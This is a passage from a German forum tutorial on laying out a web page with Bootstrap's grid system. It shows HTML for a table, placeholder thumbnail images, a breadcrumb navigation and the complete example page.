&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#3<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#4<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/table&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div><img src="http://u-hacks.net/attachment.php?attachmentid=245&amp;stc=1&amp;d=1347554154" border="0" alt="" /><br />
<br />
Als letztes kleines Beispiel fügen wir dem ganzen noch ein paar Bilder hinzu. Dafür nutzen wir den Dienst von placehold.it. (Damit können wir automatisch Bilder erzeugen).<br />
<br />
Was wir dazu machen: Wir gehen in unser span8. Erzeugen dort dann eine neue &lt;div class=&quot;row&quot;&gt; (um uns quasi neuen Platz für ein neues aufgeteiltes Grid zu machen) und können dort nun die span8 aus dem Content-DIV raus entnehmen. Wir wollen nun Beispielsweise 2 Bilder, aus welchem Grund wir beidem span4 zuweisen um das auf der kompletten Breite zu haben. Beispiel:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;thumbnail&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://www.placehold.it/280x185&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;thumbnail&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://www.placehold.it/280x185&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Heißt, wir können quasi beliebig oft unser Grid aufteilen bis es im Endeffekt bei 1 angelangt ist. Wir müssen jedoch immer an das übergeordnete Row denken!<br />
<br />
Um mit dem Standarddesign nun abzuschließen gehen wir aus dem ersten &quot;row&quot; im Container raus und erstellen uns eine erneute row welche die komplette breite von 12 Spalten hat:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span12&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <i><span style="color:#000080">&lt;!-- UNSER BREADCRUMB --&gt;</span></i><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Hier kommt nun das sogenannte Breadcrumb rein. Das ist quasi nichts anderes als eine erweiterte Navigation um dem Benutzer zu sagen du bist hier und hier auf der Webseite. Das ganze machen wir mithilfe einer &lt;ul&gt; mit der Klasse &quot;breadcrumb&quot;. Dort kommen dann Links mit jeweils einem &lt;li&gt; rein. Am Ende von jedem li (außer vom letzten) setzen wir zusätzlich einen sogenannten divider, um die Menüpunkte unterscheiden zu können. Beispielsweise wäre das ein möglicher Breadcrumb:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span12&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;ul class=<span style="color:#0000FF">&quot;breadcrumb&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Startseite<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;divider&quot;</span>&gt;</span>/<span style="color:#000080">&lt;/span&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Meine Artikel<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;divider&quot;</span>&gt;</span>/<span style="color:#000080">&lt;/span&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li class=<span style="color:#0000FF">&quot;active&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/ul&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Das wars! Das ganze sollte nun am Ende so aussehen:<br />
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=246&amp;stc=1&amp;d=1347555133" border="0" alt="" /><br />
<br />
... und hier noch einmal die kompletten 107-Zeilen Code, die man für dieses Design braucht:<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;!DOCTYPE html&gt;</span><br />
<span style="color:#000080">&lt;html&gt;</span><br />
<span style="color:#000080">&lt;head&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;title&gt;</span>U-Hacks Bootstrap Beispiel<span style="color:#000080">&lt;/title&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;meta charset=<span style="color:#0000FF">&quot;utf-8&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;link rel=<span style="color:#0000FF">&quot;stylesheet&quot;</span> href=<span style="color:#0000FF">&quot;bootstrap.min.css&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;style&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; body { padding-top:60px; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;/style&gt;</span><br />
<span style="color:#000080">&lt;/head&gt;</span><br />
<span style="color:#000080">&lt;body&gt;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar navbar-fixed-top navbar-inverse&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar-inner&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008000">&lt;a class=<span style="color:#0000FF">&quot;brand&quot;</span> href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>U-Hacks<span style="color:#008000">&lt;/a&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;ul class=<span style="color:#0000FF">&quot;nav&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Startseite<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Profil<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Unterseiten<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Kommentare<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/ul&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;form class=<span style="color:#0000FF">&quot;navbar-search pull-right&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;text&quot;</span> class=<span style="color:#0000FF">&quot;search-query&quot;</span> placeholder=<span style="color:#0000FF">&quot;Suchbegriff&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;/form&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span12&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;ul class=<span style="color:#0000FF">&quot;breadcrumb&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Startseite<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;divider&quot;</span>&gt;</span>/<span style="color:#000080">&lt;/span&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Meine Artikel<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;divider&quot;</span>&gt;</span>/<span style="color:#000080">&lt;/span&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li class=<span style="color:#0000FF">&quot;active&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/ul&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span> Kommentare <span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;well&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;label label-inverse&quot;</span>&gt;</span>Benutzer am 17.03.2005<span style="color:#000080">&lt;/span&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;label label-inverse&quot;</span>&gt;</span>Benutzer am 17.03.2005<span style="color:#000080">&lt;/span&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;label label-inverse&quot;</span>&gt;</span>Benutzer am 17.03.2005<span style="color:#000080">&lt;/span&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span8&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span>Content<span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;table class=<span style="color:#0000FF">&quot;table table-striped&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Artikel-ID<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Name des Artikels<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Author<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Aktionen<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#1<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
